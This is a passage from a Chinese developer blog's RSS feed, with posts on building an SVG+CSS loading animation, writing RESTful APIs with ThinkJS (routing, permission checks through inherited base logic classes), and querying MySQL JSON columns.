本文主要是介绍了一套 JavaScript API + WebView 的偏前端的开发方式，代码我都已经放到 Github 上 https://github.com/lizheming/sketch-placeimg，大家可以自行查阅和下载。除了这种方式之外，我们也可以使用 OC + WebView 甚至是纯 OC 客户端的方式去开发插件。使用纯客户端开发的话性能会比 JavaScript API 的形式好一点，但是对于不了解 OC 开发的前端同学来说上手难度还是比较高的。
除了 Sketch 之外，Figma 也是一款非常棒的 UI 设计软件。它基于 Web 开发，天生跨平台，更提供了更加易用的协作模式，解决 UI 开发中的多人协作问题。感兴趣的同学也可以去了解一下。
参考资料：
《Sketch插件开发总结》</description></item><item><title>使用 SVG 制作加载动画</title><link>https://imnerd.org/make-loading-animation-by-svg.html</link><pubDate>2020-11-19</pubDate><guid>https://imnerd.org/make-loading-animation-by-svg.html</guid><description>最近我们设计师反馈，他想要做如下的一个加载动画。但是要么效果好的导出的 GIF 体积特别大，看了下有 8M 多了，要么体积小的 GIF 效果又特别不清楚。然后我看了下效果，发现其实用 SVG 动画来实现应该比较简单，于是就和设计师要了一下原始的稿子导出成 SVG 后处理了下。
将 AE 动效稿子转成 SVG 动画的话 Airbnb 有出过一款 Lottie 的工具。通过它的 AE 插件 Bodymovin 能够以 JSON 的形式导出动画信息和素材。然后在网页上使用 bodymovin.js 动画播放库载入该 JSON 素材即可完成动效的转换。具体的使用教程可以参考 Youtube 视频《How to export an animation with Bodymovin》。
使用 Bodymovin 是真的非常方便，不过介于设计师需要的效果比较简单，为了这个效果而每次去加载一个几十KB的基础库和JSON文件实在是没有必要。所以我这里就基于 SVG + CSS 动画来实现了下，最终的效果如下。最终体积也就 6KB，gzip 后会更小。 下面就来跟着我一块一步步的实现它吧！这里我不会特别详细的描述每一步的基本原理，如果大家想了解 SVG 动画的基础知识的话可以先看看我之前写的文章《SVG 动画实践》。
动画拆分分析 通过观察发现该动画主要用到了平移、旋转、透明度，宽度和颜色等属性变化等动画效果。这些都可以通过 CSS3 动画来实现，剩下的我们需要对这些动画进行拆分，先分别实现它们。最后将他们组合，通过一定的时间配合实现完整的效果。
在这里我将该动效最终拆分成了以下几个部分：
外圈的波纹效果 外圈1的波纹效果 外圈2的波纹效果 外圈3的波纹效果 主体的伸展运动 主体绿色部分的平移伸展 主体绿色部分上的平移伸展 主体绿色部分下的平移伸展 主体白色圆球的渐隐效果 主体蓝色部分的平移伸展 主体白色横条的渐隐效果 主体部分的自转 蓝球的公转效果 每一个单独的动画效果我们都需要对其进行处理，所以我们需要对导出的 SVG 进行元素的整理，将我们需要进行操作的元素进行分组标记。由于 Sketch 导出的 SVG 文件会带有比较多的冗余元素，所以我一般会在手工处理 SVG 之前在走一遍 svgo 这类工具对内容进行优化。这里推荐张鑫旭老师写的 SVG 在线压缩合并工具，直接粘贴 SVG 代码过去即可，非常简单。下面是 SVG 整体结构的示意代码。
&amp;lt;svg width=&amp;#34;552px&amp;#34; height=&amp;#34;552px&amp;#34; viewBox=&amp;#34;0 0 552 552&amp;#34; xmlns=&amp;#34;http://www.w3.org/2000/svg&amp;#34; xmlns:xlink=&amp;#34;http://www.w3.org/1999/xlink&amp;#34;&amp;gt; &amp;lt;!--外圈--&amp;gt; &amp;lt;g id=&amp;#34;track-list&amp;#34;&amp;gt; &amp;lt;!--外圈1--&amp;gt; &amp;lt;circle id=&amp;#34;track-circle-1&amp;#34; /&amp;gt; &amp;lt;!--外圈2--&amp;gt; &amp;lt;circle id=&amp;#34;track-circle-2&amp;#34; /&amp;gt; &amp;lt;!--外圈3--&amp;gt; &amp;lt;circle id=&amp;#34;track-circle-3&amp;#34; /&amp;gt; &amp;lt;/g&amp;gt; &amp;lt;!--中间主体--&amp;gt; &amp;lt;g id=&amp;#34;main&amp;#34;&amp;gt; &amp;lt;!--主体绿色部分下--&amp;gt; &amp;lt;g id=&amp;#34;bottom-triangel&amp;#34;&amp;gt; &amp;lt;path d=&amp;#34;...&amp;#34; /&amp;gt; &amp;lt;/g&amp;gt; &amp;lt;!--主体绿色部分上--&amp;gt; &amp;lt;g id=&amp;#34;top-triangel&amp;#34;&amp;gt; &amp;lt;path id=&amp;#34;shadow&amp;#34; d=&amp;#34;...&amp;#34; /&amp;gt; &amp;lt;path d=&amp;#34;...&amp;#34; /&amp;gt; &amp;lt;!--主体白色圆球--&amp;gt; &amp;lt;circle id=&amp;#34;white-ball&amp;#34; /&amp;gt; &amp;lt;/g&amp;gt; &amp;lt;!--主体蓝色部分--&amp;gt; &amp;lt;g id=&amp;#34;right-triangel&amp;#34;&amp;gt; &amp;lt;path d=&amp;#34;...&amp;#34; /&amp;gt; &amp;lt;!--主体白色横条--&amp;gt; &amp;lt;rect id=&amp;#34;white-line&amp;#34; /&amp;gt; &amp;lt;/g&amp;gt; &amp;lt;/g&amp;gt; &amp;lt;!--外圈蓝球--&amp;gt; &amp;lt;circle id=&amp;#34;blue-ball&amp;#34; /&amp;gt; &amp;lt;/svg&amp;gt; 可以看到我对 SVG 内的元素进行了重新的整理，将需要操作的元素都加上了 id 属性，方便后续直接使用 CSS 选择器选择对象进行操作。另外所有需要一块进行操作的元素也都使用 &amp;lt;g /&amp;gt; 分组标签进行了包裹。
外圈的波纹效果 外圈的波纹效果本质上就是圆的半径慢慢放大，效果里还伴随了圆的边框变窄的一个过程。其中三个圆最内层的那个是不需要动的，只需要动后面两个即可。从设计稿中拿到结束帧的状态之后这个动画做起来就比较容易了。
#track-circle-2 { animation-name: wave1; animation-timing-function: ease-in-out; animation-duration: 6s; animation-iteration-count: infinite; } #track-circle-3 { animation-name: wave2; animation-timing-function: ease-in-out; animation-duration: 6s; animation-iteration-count: infinite; } @keyframes wave1 { 50% { stroke-width: 4; r: 219px; } } @keyframes wave2 { 50% { stroke-width: 3; r: 274.5px; } } 主体的伸展运动 这块是整个里面比较复杂的一部分了，不过通过拆分，我们发现实现起来也比较简单，先实现内部元素的平移，然后再补充上整体的自转效果即可。平移这块没有什么多说的，唯一麻烦的就是通过起始帧和结束帧的位置计算出需要移动的距离而已。如图最终白线标记的位置就是我们需要的平移位置啦。
#top-triangel { animation: topmove ease-in-out 2s infinite; } #shadow { animation: shadowhide linear 2s infinite; } #bottom-triangel { animation: bottommove ease-in-out 2s infinite; } #right-triangel { animation-name: rightmove ease-in-out 2s infinite; } @keyframes topmove { from, to { transform: translate(0, 0); } 50% { transform: translate(-31px, -30px); } } @keyframes bottommove { from, to { transform: translate(0, 0); } 50% { transform: translate(-31px, 30px); } } @keyframes rightmove { from, to { transform: translate(0); } 50% { transform: translate(29px); } } @keyframes shadowhide { 30%, 70% { opacity: 0; } } 对了，别忘记我们刚才的动画拆分里还有白色圆球和白色横条的渐隐效果。渐隐效果可以使用 opacity 透明度来实现，不过这里除了渐隐之外还有一个大小的变化，可能使用呼吸效果来表述会更合适一点。圆的大小就是修改半径，横条的大小我们直接修改宽度就可以了。
#white-ball { animation: balltransparent ease-in-out 2s infinite; } #white-line { animation: linetransparent ease-in-out 2s infinite; } @keyframes balltransparent { 50% { opacity: 0; transform: scale(0); } } @keyframes linetransparent { 50% { opacity: 0; width: 0px; } } 根据刚才的动画拆分，主体部分我们就还剩下一个自转没有实现了。在做这一部分的时候需要注意两点。第一，旋转默认是基于 SVG 画布的左上角进行旋转的，自转的话一般都是基于中心旋转，所以一定要记得设置 transform-origin 为中心点。第二，Sketch 导出的 SVG 会存在大量的 translate() 平移属性操作，有可能是最开始设计师画的时候是在某个位置，后来觉得不合适进行了移动，在 SVG 里就会以平移变换体现出来。这个时候如果我们直接使用 transform 进行变换的话实际上是会复写掉它们原本的平移的，这样就导致了之前设置的旋转圆心不正确的问题。
所以这种情况下需要使用联合变换，将之前的平移变换补充到 CSS 的变换中来就可以了，这也是为什么代码中会多出两个 translate() 的原因。
#main { animation: mainrotate linear 6s infinite; transform-origin: center center; } @keyframes mainrotate { from { transform: translate(0, 0) rotateZ(0deg) translate(-72px, -42px); } to { transform: translate(0, 0) rotateZ(360deg) translate(-72px, -42px); } } 下面就是最终的实现效果。怎么样，是不是感觉已经离胜利不远了！
蓝球的公转效果 动画拆分里的最后一步就是蓝球的公转效果了。从上文我们知道，旋转我们是可以设置旋转圆心的。自转是围绕自己转的，所以旋转圆心是自己的中心，公转则是围绕太阳转的，所以旋转圆心是太阳的圆心，对应到我们的动效里其实就是整个画布的中心。
在这里我还使用了 CSS 表达角度的另外一个单位 turn，它表示的是圈数，转 360° 就表示 1turn。除了 turn 之外，CSS 角度还有 grad 梯度和 rad 弧度这两个单位。grad 则是将一个圆划分成了400等分，转 360° 就表示 400grad。而 rad 弧度则和我们数学上的弧度表示基本一致，一个圆总共是 2πrad。
#blue-ball { animation: spin linear 6s infinite; transform-origin: center center; } @keyframes spin { from { transform: rotate(0turn); } to { transform: rotate(1turn); } } 后记 最后将上面的代码拼凑起来就可以实现文章开头的动画效果了，是不是还挺简单的。另外在 SVG 标签中也支持内嵌 &amp;lt;style&amp;gt; 和 &amp;lt;script&amp;gt; 标签，所以我们可以直接将样式内嵌在 SVG 文件中，这样我们就可以和引用 GIF 一样直接使用 &amp;lt;img&amp;gt; 或者背景图片的形式使用 SVG 而不需要其他负担，在一些不支持内嵌样式的 Markdown 网站比如 Github 中效果奇佳哦！</description></item><item><title>如何使用 ThinkJS 优雅的编写 RESTful API</title><link>https://imnerd.org/how-to-build-restful-api-with-thinkjs.html</link><pubDate>2020-10-15</pubDate><guid>https://imnerd.org/how-to-build-restful-api-with-thinkjs.html</guid><description>RESTful 是目前比较主流的一种用来设计和编排服务端 API 的一种规范。在 RESTful API 中，所有的接口操作都被认为是对资源的 CRUD，使用 URI 来表示操作的资源，请求方法表示具体的操作，响应状态码表示操作结果。之前使用 RESTful 的规范写过不少 API 接口，我个人认为它最大的好处就是帮助我们更好的去规划整理接口，如果还是按照以前根据需求来写接口的话接口的复用率不高不说，整个项目也会变得非常的杂乱。
文件即路由是 ThinkJS 的一大特色，比如 /user 这个路由等价于 /user/index，会对应到 src/controller/user.js 中的 indexAction 方法。那么就以 /user 这个 API 为例，在 ThinkJS 中要创建 RESTful 风格的 API 需要以下两个步骤：
运行命令 thinkjs controller user -r 会创建路由文件 src/controller/user.js 在 src/config/router.js 中使用自定义路由标记该路由为 RESTful 路由 //src/config/router.js module.exports = [ [&amp;#39;/user/:id?&amp;#39;, &amp;#39;rest&amp;#39;] ]; 这样我们就完成了一个 RESTful 路由的初始化，这个资源的所有操作都会被映射成路由文件中对应请求方法的 Action 函数中，例如：
GET /user 获取用户列表，对应 getAction 方法 GET /user/:id 获取某个用户的详细信息，也对应 getAction` 方法 POST /user 添加一位用户，对应 postAction 方法 PUT /user/:id 更新一位用户资料，对应 putAction 方法 DELETE /user/:id 删除一位用户，对应 deleteAction 方法 然而每个 RESTful 路由都需要去 router.js 中写一遍自定义路由未免过于麻烦。所以我写了一个中间件 think-router-rest，只需要在 Controller 文件中使用 _REST 静态属性标记一下就可以将其转换成 RESTful 路由了。
//src/controller/user.js module.exports = class extends think.Controller { static get _REST() { return true; } getAction() {} postAction() {} putAction() {} deleteAction() {} } 简单的了解了一些入门知识之后，下面我就讲一些我平常开发 RESTful 接口时对我有帮助的一些知识点，希望对大家开发项目会有所帮助。
表结构梳理 拿到需求之后千万不要急着先敲键盘，一定要把表结构整理好。其实说是表结构，实际上就是对资源的整理。以 MySQL 为例，一般一类资源就会是一张表，比如 user 用户表，post 文章表等。当你把表罗列出来之后那么其实你的 RESTful 接口就已经七七八八了。比如你有一张 post 文章表，那么之后你的接口肯定会有：
GET /post 获取文章列表 GET /post/1 获取 id=1 的文章信息 POST /post 添加文章 PUT /post/1 修改 id=1 的文章信息 DELETE /post/1 删除 id=1 的文章 当然不是所有的事情都这么完美，有时候接口的操作可能五花八门，这种时候我们就要尽量的去思考接口行为的本质是什么。比如说我们要迁移文章给其它用户，这时候你就要思考它其实本质上就是修改 post 文章资源的 user_id 属性，最终还是会映射到 PUT /post/1 接口中来。
想清楚有哪些资源能帮助你更好的创建表，接下来就要想清楚资源之间的关系了，它能帮助你更好的创建表结构。一般资源之间会存在以下几类关系：
一对一：如果一位 user 只能创建一篇 post 文章，则是一对一的关系。在 post 中可以使用 user_id 字段来关联对应的 user 数据，在 user 中也可以使用 post_id 来关联对应的文章数据。 一对多：如果一位 user 能创建多篇 post 文章，则是一对多的关系。在 post 中可以使用 user_id 字段来关联对应的 user 数据。 多对多：如果一位 user 可以创建多篇 post 文章，一篇 post 文章也可以有多位 user，则是多对多的关系。多对多关系没办法通过一个字段来表示，这时候为了描述清楚多对多的关系，就需要一张中间表 user_post，用来做 user 和 post 表的关系映射。表内部的 user_id 表示 user 表 ID，post_id 则表示 post 表对应数据 ID。 mysql&amp;gt; DESCRIBE user; +-------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | name | varchar(100) | YES | | NULL | | +-------+--------------+------+-----+---------+----------------+ 2 rows in set (0.01 sec) mysql&amp;gt; DESCRIBE post; +-------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | title | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+ 2 rows in set (0.00 sec) mysql&amp;gt; DESCRIBE user_post; +---------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | user_id | int(11) | NO | | NULL | | | post_id | int(11) | NO | | NULL | | +---------+---------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 作为一款约定大于配置的 Web 框架，ThinkJS 默认规定了请求 RESTful 资源的时候，会根据当前资源 URI 找到对应的资源表，比如 GET /post 会找到 post 表。然后再进行查询的之后会进行自动的关联查询。例如当你在模型里标记了 post 和 user 是一对多的关系，且 post 表中存在 user_id 字段（也就是关联表表名 + _id），会自动关联获取到 project 对应的 user 数据。这在进行数据操作的时候会节省非常多的工作量。
登录登出 当我第一次写 RESTful API 的时候，我就碰到了这个难题，平常大家都是使用 /login, /logout 来表示登录和登出操作的，如何使用资源的形式来表达就成了问题。后来想了下登录操作中涉及到的资源其实就是登录后的 Token 凭证，本质上登录就是凭证的创建与获取，登出就是凭证的删除。
GET /token：获取凭证，用来判断是否登录 POST /token：创建凭证，用来进行登录操作 DELETE /token：删除凭证，用来进行登出操作 权限校验 我们平常写接口逻辑，其实会有很大一部分的工作量是用来做用户请求的处理。包括用户权限的校验和用户参数的校验处理等，这些逻辑其实和主业务场景没有太大的关系。为了将这些逻辑与主业务场景进行解耦，基于 Controller 层之上，ThinkJS 会存在一层 Logic 逻辑校验层。Logic 与 Controller 一一映射，并提供了一些常用的校验方法，我们可以将权限校验，参数校验，参数处理等逻辑放在这里，让 Controller 只做真正的业务逻辑。
在 Logic 和 Controller 中，都存在 __before() 魔术方法，当前 Controller 内所有的 Action 执行之前都会先执行 __before() 操作。利用这个特性，我们可以将一些通用的权限校验逻辑放在这里，比如最平常的登录判断逻辑，这样就不需要在每个地方都做判断了。
//src/logic/base.js module.exports = class extends think.Logic { async __before() { //接口 CSRF 校验 if (!this.isCli &amp;amp;&amp;amp; !this.isGet) { const referrer = this.referrer(true); if (!/^xxx\.com$/.test(referrer)) { return this.fail(&amp;#39;请不要在非其它网站中使用该接口！&amp;#39;); } } // 非登录接口需要做登录校验 const userInfo = await this.session(&amp;#39;userInfo&amp;#39;) || {}; if(think.isEmpty(userInfo) &amp;amp;&amp;amp; !/\/(?:token)\.js/.test(this.__filename)) { return this.ctx.throw(401, &amp;#39;UnAuthorized&amp;#39;); } } } //src/logic/user.js const Base = require(&amp;#39;./base.js&amp;#39;); module.exports = class extends Base {} 创建一个 Base 基类，所有的 Logic 通过继承该基类就都能享受到 CSRF 和登录校验了。
问：所有的请求都会实例化类，所以 contructor 本质上也会在所有的 Action 之前执行，那为什么还需要 __before() 魔术方法的存在呢？
答：constructor 构造函数虽然有前置执行的特性，但是无法在保证顺序的情况下执行异步操作。构造函数前是不能使用 async 标记的，而 __before() 是可以的，这也是它存在的原因。
善用继承 在 RESTful API 中，我们其实会发现很多资源是具有从属关系的。比如一个项目下的用户对应的文章，这句话中的三种资源 项目，用户 和 文章 就是从属关系。在从属关系中包括权限、数据操作等也都是具有从属关系的。比如说文章属于用户，非该用户的话自然是无法看到对应的文章的。而用户又从属于项目，其它项目的人是无法操作该项目下的用户的。这就是所谓的从属关系。
确立了从属关系之后我们会发现越到下级的资源在对其操作的时候要判断的权限就越多。以刚才的例子为例，如果说我们对项目资源进行操作的话，我们需要判断该用户是否在项目中。而如果要对项目下的用户文章进行操作的话，除了需要判断用户是否在项目中，还需要判断该文章是否是当前用户的。
在这个例子中我们可以发现：**资源关系从属的话权限校验也会是从属关系，从属关系中级别越深的资源需要判断的权限越多。**面向对象语言中，继承是一个比较重要的功能，它最大的好处就是能帮助我们进行逻辑的复用。通过继承，我们能直接在子资源中复用父资源的校验逻辑，避免重复劳动。
//src/logic/base.js module.exports = class extends think.Logic { async __before() { const userInfo = this.session(&amp;#39;userInfo&amp;#39;) || {}; this.userInfo = this.ctx.state.userInfo = userInfo; if(think.isEmpty(userInfo)) { return this.ctx.throw(401); } } } //src/logic/project/base.js const Base = require(&amp;#39;../base.js&amp;#39;); module.exports = class extends Base { async __before() { await super.__before(); const {team_id} = this.get(); const {id: user_id} = this.userInfo; const permission = await this.model(&amp;#39;team_user&amp;#39;).where({team_id, user_id}).find(); const {controller} = this.ctx; // 团队接口中只有普通用户只有权限调用获取邀请链接详细信息和接受邀请链接两个接口 if(controller !== &amp;#39;team/invitation&amp;#39; &amp;amp;&amp;amp; (this.isGet &amp;amp;&amp;amp; !this.id)) { if(think.isEmpty(permission)) { return this.fail(&amp;#39;你没有权限操作该团队&amp;#39;); } } this.userInfo.role_id = permission.role_id; } } //src/logic/project/user/base.js const Base = require(&amp;#39;../base&amp;#39;); module.eports = class extends Base { async __before() { await super.__before(); const {role_id} = this.userInfo; if(!global.EDITOR.is(role_id)) { return this.fail(&amp;#39;你没有权限操作该文章&amp;#39;); } } } 通过创建三个 Base 基类，我们将权限校验进行了合理的拆分同时又能保证校验的完整性。同级别的路由只要继承当前层级的 Base 基类就能享受到通用的校验逻辑。
/project 路由对应的 Logic 因为继承了 src/logic/base.js 所以实现了登录校验。 /project/1/user 路由对应的 Logic 因为继承了 src/logic/project/base.js 所以实现了登录校验以及是否在是项目成员的校验。 /project/1/user/1/post 路由对应的 Logic 因为继承了 src/logic/project/user/base.js 所以实现了登录校验、项目成员校验以及项目成员权限的校验。 瞧，套娃就这么简单！
数据库操作 从属的资源在表结构上也有一定的反应。还是以之前的项目、用户和文章为例，一般来说你的文章表里会存在 project_id 和 user_id 两个关联字段来表示文章与用户和项目资源的关系（简单假设都是一对多的关系）。那么这时候实际上你对项目下的文章操作实际上都需要传入 project_id 和 user_id 这两个 WHERE 条件。
ThinkJS 内部使用 think-model 来进行 SQL 数据库操作。它有一个特性是支持链式调用，我们可以这样写一个查询操作。
//src/controller/project/user/post.js module.exports = class extends think.Controller { async indexAction() { const ret = await this.model(&amp;#39;post&amp;#39;).where({project_id: 1}).where({user_id: 2}).select(); return this.success(ret); } } 利用这个特性，我们可以对操作进行优化，在 constructor 的时候将当前 Controller 下的通用 WHERE 条件 project_id 和 user_id 传入。这样我们在其它的 Action 操作的时候就不用每个都传一变了，同时也一定规避了可能会漏传限制条件的风险。
//src/controller/project/user/post.js module.exports = class extends think.Controller { constructor(ctx) { super(ctx); const {project_id, user_id} = this.get(); this.modelInstance = this.model(&amp;#39;post&amp;#39;).where({project_id, user_id}); } async getAction() { const ret = await this.modelInstance.select(); return this.success(ret); } } 后记 RESTful API 除了以上说的一些特性之外，它对响应状态码、接口的版本也有一定的规范定义。像 Github 这种 RESTful 实现比较好的网站还会实现 Hypermedia API 规范，在每个接口中会返回操作其它资源时需要的 RESTful 路由地址，方便调用者进行链式调用。
当然 RESTful 只是实现 API 的一种规范，还有其它的一些实现规范，比如 GraphQL。关于 GraphQL 可以看看之前的文章《GraphQL 基础实践》，这里就不多做补充了。</description></item><item><title>谈谈 MySQL 的 JSON 数据类型操作</title><link>https://imnerd.org/think-model-support-json-type.html</link><pubDate>2020-10-06</pubDate><guid>https://imnerd.org/think-model-support-json-type.html</guid><description>MySQL 5.7 增加了 JSON 数据类型的支持，在之前如果要存储 JSON 类型的数据的话我们只能自己做 JSON.stringify() 和 JSON.parse() 的操作，而且没办法针对 JSON 内的数据进行查询操作，所有的操作必须读取出来 parse 之后进行，非常的麻烦。原生的 JSON 数据类型支持之后，我们就可以直接对 JSON 进行数据查询和修改等操作了，较之前会方便非常多。
为了方便演示我先创建一个 user 表，其中 info 字段用来存储用户的基础信息。要将字段定义成 JSON 类型数据非常简单，直接字段名后接 JSON 即可。
CREATE TABLE user ( id INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, name VARCHAR(30) NOT NULL, info JSON ); 表创建成功之后我们就按照经典的 CRUD 数据操作来讲讲怎么进行 JSON 数据类型的操作。
添加数据 添加数据这块是比较简单，不过需要理解 MySQL 对 JSON 的存储本质上还是字符串的存储操作。只是当定义为 JSON 类型之后内部会对数据再进行一些索引的创建方便后续的操作而已。所以添加 JSON 数据的时候需要使用字符串包装。
mysql&amp;gt; INSERT INTO user (`name`, `info`) VALUES(&amp;#39;lilei&amp;#39;, &amp;#39;{&amp;#34;sex&amp;#34;: &amp;#34;male&amp;#34;, &amp;#34;age&amp;#34;: 18, &amp;#34;hobby&amp;#34;: [&amp;#34;basketball&amp;#34;, &amp;#34;football&amp;#34;], &amp;#34;score&amp;#34;: [85, 90, 100]}&amp;#39;); Query OK, 1 row affected (0.00 sec) 除了自己拼 JSON 之外，你还可以调用 MySQL 的 JSON 创建函数进行创建。
JSON_OBJECT：快速创建 JSON 对象，奇数列为 key，偶数列为 value，使用方法 JSON_OBJECT(key,value,key1,value1) JSON_ARRAY：快速创建 JSON 数组，使用方法 JSON_ARRAY(item0, item1, item2) mysql&amp;gt; INSERT INTO user (`name`, `info`) VALUES(&amp;#39;hanmeimei&amp;#39;, JSON_OBJECT( -&amp;gt; &amp;#39;sex&amp;#39;, &amp;#39;female&amp;#39;, -&amp;gt; &amp;#39;age&amp;#39;, 18, -&amp;gt; &amp;#39;hobby&amp;#39;, JSON_ARRAY(&amp;#39;badminton&amp;#39;, &amp;#39;sing&amp;#39;), -&amp;gt; &amp;#39;score&amp;#39;, JSON_ARRAY(90, 95, 100) -&amp;gt; )); Query OK, 1 row affected (0.00 sec) 不过对于 JavaScript 工程师来说不管是使用字符串来写还是使用自带函数来创建 JSON 都是非常麻烦的一件事，远没有 JS 原生对象来的好用。所以在 think-model 模块中我们增加了 JSON 数据类型的数据自动进行 JSON.stringify() 的支持，所以直接传入 JS 对象数据即可。
由于数据的自动序列化和解析是根据字段类型来做的，为了不影响已运行的项目，需要在模块中配置 jsonFormat: true 才能开启这项功能。
//adapter.js const MySQL = require(&amp;#39;think-model-mysql&amp;#39;); exports.model = { type: &amp;#39;mysql&amp;#39;, mysql: { handle: MySQL, ... jsonFormat: true } }; //user.js module.exports = class extends think.Controller { async indexAction() { const userId = await this.model(&amp;#39;user&amp;#39;).add({ name: &amp;#39;lilei&amp;#39;, info: { sex: &amp;#39;male&amp;#39;, age: 16, hobby: [&amp;#39;basketball&amp;#39;, &amp;#39;football&amp;#39;], score: [85, 90, 100] } }); return this.success(userId); } } 下面让我们来看看最终存储到数据库中的数据是什么样的
mysql&amp;gt; SELECT * FROM `user`; +----+-----------+-----------------------------------------------------------------------------------------+ | id | name | info | +----+-----------+-----------------------------------------------------------------------------------------+ | 1 | lilei | {&amp;#34;age&amp;#34;: 18, &amp;#34;sex&amp;#34;: &amp;#34;male&amp;#34;, &amp;#34;hobby&amp;#34;: [&amp;#34;basketball&amp;#34;, &amp;#34;football&amp;#34;], &amp;#34;score&amp;#34;: [85, 90, 100]} | | 2 | hanmeimei | {&amp;#34;age&amp;#34;: 18, &amp;#34;sex&amp;#34;: &amp;#34;female&amp;#34;, &amp;#34;hobby&amp;#34;: [&amp;#34;badminton&amp;#34;, &amp;#34;sing&amp;#34;], &amp;#34;score&amp;#34;: [90, 95, 100]} | +----+-----------+-----------------------------------------------------------------------------------------+ 2 rows in set (0.00 sec) 查询数据 为了更好的支持 JSON 数据的操作，MySQL 提供了一些 JSON 数据操作类的方法。和查询操作相关的方法主要如下：
JSON_EXTRACT()：根据 Path 获取部分 JSON 数据，使用方法 JSON_EXTRACT(json_doc, path[, path] ...) -&amp;gt;：JSON_EXTRACT() 的等价写法 -&amp;gt;&amp;gt;：JSON_EXTRACT() 和 JSON_UNQUOTE() 的等价写法 JSON_CONTAINS()：查询 JSON 数据是否在指定 Path 包含指定的数据，包含则返回1，否则返回0。使用方法 JSON_CONTAINS(json_doc, val[, path]) JSON_CONTAINS_PATH()：查询是否存在指定路径，存在则返回1，否则返回0。one_or_all 只能取值 &amp;ldquo;one&amp;rdquo; 或 &amp;ldquo;all&amp;rdquo;，one 表示只要有一个存在即可，all 表示所有的都存在才行。使用方法 JSON_CONTAINS_PATH(json_doc, one_or_all, path[, path] ...) JSON_KEYS()：获取 JSON 数据在指定路径下的所有键值。使用方法 JSON_KEYS(json_doc[, path])，类似 JavaScript 中的 Object.keys() 方法。 JSON_SEARCH()：查询包含指定字符串的 Paths，并作为一个 JSON Array 返回。查询的字符串可以用 LIKE 里的 &amp;lsquo;%&amp;rsquo; 或 &amp;lsquo;_&amp;rsquo; 匹配。使用方法 JSON_SEARCH(json_doc, one_or_all, search_str[, escape_char[, path] ...])，类似 JavaScript 中的 findIndex() 操作。 我们在这里不对每个方法进行逐个的举例描述，仅提出一些场景举例应该怎么操作。
返回用户的年龄和性别 举这个例子就是想告诉下大家怎么获取 JSON 数据中的部分内容，并按照正常的表字段进行返回。这块可以使用 JSON_EXTRACT 或者等价的 -&amp;gt; 操作都可以。其中根据例子可以看到 sex 返回的数据都带有引号，这个时候可以使用 JSON_UNQUOTE() 或者直接使用 -&amp;gt;&amp;gt; 就可以把引号去掉了。
mysql&amp;gt; SELECT `name`, JSON_EXTRACT(`info`, &amp;#39;$.age&amp;#39;) as `age`, `info`-&amp;gt;&amp;#39;$.sex&amp;#39; as sex FROM `user`; +-----------+------+----------+ | name | age | sex | +-----------+------+----------+ | lilei | 18 | &amp;#34;male&amp;#34; | | hanmeimei | 16 | &amp;#34;female&amp;#34; | +-----------+------+----------+ 2 rows in set (0.00 sec) 这里我们第一次接触到了 Path 的写法，MySQL 通过这种字符串的 Path 描述帮助我们映射到对应的数据。和 JavaScript 中对象的操作比较类似，通过 . 获取下一级的属性，通过 [] 获取数组元素。
不一样的地方在于需要通过 $ 表示本身，这个也比较好理解。另外就是可以使用 * 和 ** 两个通配符，比如 .* 表示当前层级的所有成员的值，[*] 则表示当前数组中所有成员值。** 类似 LIKE 一样可以接前缀和后缀，比如 a**b 表示的是以 a 开头，b结尾的路径。
路径的写法非常简单，后面的内容里也会出现。上面的这个查询对应在 think-model 的写法为
//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(&amp;#39;user&amp;#39;); const field = &amp;#34;name, JSON_EXTRACT(info, &amp;#39;$.age&amp;#39;) AS age, info-&amp;gt;&amp;#39;$.sex&amp;#39; as sex&amp;#34;; const users = await userModel.field(field).where(&amp;#39;1=1&amp;#39;).select(); return this.success(users); } } 返回喜欢篮球的男性用户 mysql&amp;gt; SELECT `name` FROM `user` WHERE JSON_CONTAINS(`info`, &amp;#39;&amp;#34;male&amp;#34;&amp;#39;, &amp;#39;$.sex&amp;#39;) AND JSON_SEARCH(`info`, &amp;#39;one&amp;#39;, &amp;#39;basketball&amp;#39;, null, &amp;#39;$.hobby&amp;#39;); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set, 1 warning (0.00 sec) 这个例子就是简单的告诉大家怎么对属性和数组进行查询搜索。其中需要注意的是 JSON_CONTAINS() 查询字符串由于不带类型转换的问题字符串需要使用加上 &amp;quot;&amp;quot; 包裹查询，或者使用 JSON_QUOTE('male') 也可以。
如果你使用的是 MySQL 8 的话，也可以使用新增的 JSON_VALUE() 来代替 JSON_CONTAINS()，新方法的好处是会带类型转换，避免刚才双引号的尴尬问题。不需要返回的路径的话，JSON_SEARCH() 在这里也可以使用新增的 MEMBER OF 或者 JSON_OVERLAPS() 方法替换。
mysql&amp;gt; SELECT `name` FROM `user` WHERE JSON_VALUE(`info`, &amp;#39;$.sex&amp;#39;) = &amp;#39;male&amp;#39; AND &amp;#39;basketball&amp;#39; MEMBER OF(JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;)); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set (0.00 sec) mysql&amp;gt; SELECT `name` FROM `user` WHERE JSON_VALUE(`info`, &amp;#39;$.sex&amp;#39;) = &amp;#39;male&amp;#39; AND JSON_OVERLAPS(JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;), JSON_QUOTE(&amp;#39;basketball&amp;#39;)); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set (0.00 sec) 上面的这个查询对应在 think-model 的写法为
